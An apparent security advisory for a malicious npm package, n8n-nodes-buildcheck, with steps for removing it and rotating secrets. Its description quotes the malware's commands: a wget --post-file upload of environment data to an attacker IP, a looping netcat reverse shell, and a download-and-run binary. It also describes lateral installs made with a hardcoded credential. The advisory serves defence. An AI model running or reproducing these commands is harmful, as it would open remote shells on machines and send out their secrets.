MAL-2026-16177 Malicious code in n8n-nodes-buildcheck (npm)
Malicious package
Published
MAL-2026-16177 is a malicious package: n8n-nodes-buildcheck (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-16177/ (Markdown: https://insights.sbomify.com/MAL-2026-16177/index.md)
- Package
- n8n-nodes-buildcheck
- Registry
- npm
What is MAL-2026-16177?
MAL-2026-16177 is a malicious package in n8n-nodes-buildcheck, published on 15 Sep 2026.
Official description
On npm install, postinstall.js collects the full environment,
id, hostname, and /proc/1/cgroup/status into /tmp/.be and uploads it via wget --post-file to http://121.127.33.228:8443/env2. The same postinstall spawns a detached loop that repeatedly runs nc 121.127.33.228 443 -e /bin/sh with a 7-second reconnect interval, giving the remote party a persistent unauthenticated shell on the installer's host. It also attempts to authenticate to an internal n8n instance at http://10.0.3.2:5678 using a hardcoded credential and invokes /rest/nodes/community/install with verify:false to install a sibling package n8n-nodes-sysdiag2, extending compromise to adjacent n8n hosts. When n8n loads the community node, dist/SysDiag.node.js wgets an opaque binary from http://121.127.33.228:8444/mn8n2 into /tmp/.mn2, chmods it executable, and launches it detached.What should I do about MAL-2026-16177?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.